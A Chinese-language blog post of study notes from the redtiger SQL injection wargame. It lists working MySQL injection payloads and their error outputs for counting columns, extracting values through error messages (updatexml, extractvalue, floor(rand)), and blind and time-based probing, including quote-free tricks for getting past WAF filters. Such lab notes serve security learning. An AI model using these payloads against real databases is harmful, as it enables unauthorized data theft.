redtiger靶场训练笔记

作于: 2022 年 5 月 6 日,预计阅读时间 8 分钟

前言

靶场地址:http://redtiger.labs.overthewire.org/

按照靶场约定,不会直接给任何解。仅记录在这个靶场练习的时候学到的东西。

error based SQL injection

red tiger 靶场都是盲注,但还是要提一嘴。学到多少算多少。error based SQL injection 顾名思义要靠错误,所以前端有错误消息回显才有用。但盲注的时候依然能用到一些相关技巧。

当前表列数量

group by 法

select * from users group by 5;
# SQL 错误 [1054] [42S22]: Unknown column '5' in 'group statement'
# 5 是列号,不存在列的时候报上面的错,需要自己枚举 1,2,3,4,5 直到确认。因为一次测一个真/假所以盲注的时候也能用。

order by 法

select * from users order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15;
# SQL 错误 [1054] [42S22]: Unknown column '3' in 'order clause'
# 3 是列号,order by 法一次可以枚举很多列,大多时候可以一次拿到当前表的列数。不过盲注的时候不行。可以用来缩小范围。

子查询法

select * from users where (SELECT * from users)=(1,2);
# SQL 错误 [1241] [21000]: Operand should contain 2 column(s)
# 这个方法直接爆出有几个列,但要求知道表名

union 法

select * from users union all select 1,2,3,NULL,NULL,NULL,NULL,NULL,NULL 
# (types of columns must match or be of derived types or NULL)
# SQL 错误 [1222] [21000]: The used SELECT statements have a different number of columns
# 利用 union 查询列数量必须相等来确定左侧查询的列数量,如果左侧是 select * 的话那 union 查询枚举的列数量就是表里列的数量

获取列名

union+notnull

select * from users where (1,2,3) = (select * from users union all select 1%0,2,3);
# Error: Column 'id' cannot be null
# 实测发现在 MySQL 5.7 中不好使了,会出现 SQL 错误 [1242] [21000]: Subquery returns more than 1 row

insert

insert into users (id,username,passwd) values (if(1=1,NULL,'1'), '2','3')
# Error: Column 'id' cannot be null
# 要先得到列名,。而且实测 MySQL 5.7 里对主键+自增+非空,即使直接insert null 也会成功。

join

select * from (select * from users JOIN users a)b;
# Error: Duplicate column name 'id'
# 同样失效了。MySQL 5.7 下会返回重复的列名。

获取值

count floor(rand(0)*2) group by

select COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2) )x from users GROUP BY x;
# SQL 错误 [1062] [23000]: Duplicate entry '5.7.331' for key '<group_key>'
# 需要注意的是 COUNT(*) 不能少

Works because mysql insides executes this query by making two queries: add count of x into temp table and if error (x value does not exist) then insert x value (second time x calculation) into table

BIGINT UNSIGNED

select !(select * from (select version())x) - ~0;
# 在 MySQL 5.7 不起效。
# BIGINT UNSIGNED value is out of range in '((not((select `x`.`version()` from (select version() AS `version()`) `x`))) - ~(0))'

不过还存在一个能爆出列名的 payload。

select 2 * if((select * from test limit 1) > (select * from test limit 1), 18446744073709551610, 18446744073709551610);
# 注意 18446744073709551610 就是 ~0
# SQL 错误 [1690] [22001]: Data truncation: BIGINT UNSIGNED value is out of range in '(2 * if(((select `test`.`test`.`id`,`test`.`test`.`name` from `test`.`test` limit 1) > (select `test`.`test`.`id`,`test`.`test`.`name` from `test`.`test` limit 1)),18446744073709551610,18446744073709551610))'
# 这里会把 select * 展开成具体列名

updatexml

select updatexml(1, concat('~', version()), 1);
# SQL 错误 [1105] [HY000]: XPATH syntax error: '~5.7.33'

extractvalue

select extractvalue(1, concat('~', version()));
# SQL 错误 [1105] [HY000]: XPATH syntax error: '~5.7.33'

ST_LongFromGeoHash

select ST_LongFromGeoHash(version());
# MySQL >= 5.7.5
# SQL 错误 [1411] [HY000]: Incorrect geohash value: '5.7.33' for function ST_LONGFROMGEOHASH

blind SQL injection

两个技巧。

if/substring/ascii/char

灵活运用 ifsubstringasciichar 这些函数。

SELECT * FROM test WHERE id=0 OR IF(FIND_IN_SET(substring(version(),1,1),'0,1,2,3,4,5'),TRUE,FALSE);

asciichar两个函数主要是解决不能注入字符串之类的问题。

SELECT * FROM test WHERE id = 0 OR ascii(substring(version(), 1, 1)) IN (48,49,50,51,52,53);

这样就能完全避免注入的SQL里包含',对过滤 '的 WAF 大概会有用。

此外其他的返回布尔值的函数多少在合适的地方还是能一战的吧。

order by

SELECT * FROM test ORDER BY (id*IF (ASCII(substring(VERSION(),1,1))=53,1,-1)) ;

注入点在 order by 子句的时候比较有用。

find_in_set

这个就是纯 trick 了。用 find_in_set 可以一次判断更大的范围,减少请求次数。比如原本测试字符串一位就要跑字母表26个字母,算上大小写直接翻倍。find_in_set可以用的话就能实现二分法搜索,时间复杂度骤降。

Time based SQL injection

也叫 double blind SQL injection, 双盲指的是就连SQL执行结果都看不到。不管传什么都返回完全相同的页面。这种情况只能靠请求时间来判断了。

sleep

select if(version() like '5%', sleep(10), false);

不必多解释了吧。

benchmark

select benchmark (10000000, md5(now()));

这种做法叫 heavy queries,就是给MySQL一个压力很大的查询,让MySQL花更长时间执行。除了 benchmark 之外还可以用 cross join ,求两个大表的笛卡尔积。cross join 时算法类似下面这样:

for r1 := range table1 {
    for r2 := range table2 {
        results = append(results, pair(r1,r2))
    }
}

计算量等于两个表行数的积。不过前提是要知道表名,最少知道自己的表名,起码还能 JOIN 自己。如果数据量太少的话这个方法产生的返回时间差不够明显,就不能用了。

参考

思考

red tiger 的 level 1 和 level 2 真的很简单。选择正确的位置注入就能直接 pass,不需要考虑 bypass WAF,没有 trick。

level 3 开始就比较狗了,提示 try to get an error,但这句话不是让你往 error based SQL injection 的方向想,我就给带歪了,还想着怎么制造个能回显的注入 payload ,实际上根本不是这个意思。正确的方向是 制造一个 PHP的错误,解密 usr 这个参数。

具体就不说了,总之制造 PHP 的错误也需要动 usr ,我给的关键词是 type error,提示很明显了。

总结

以上,玩得开心。

/security/ /redtiger/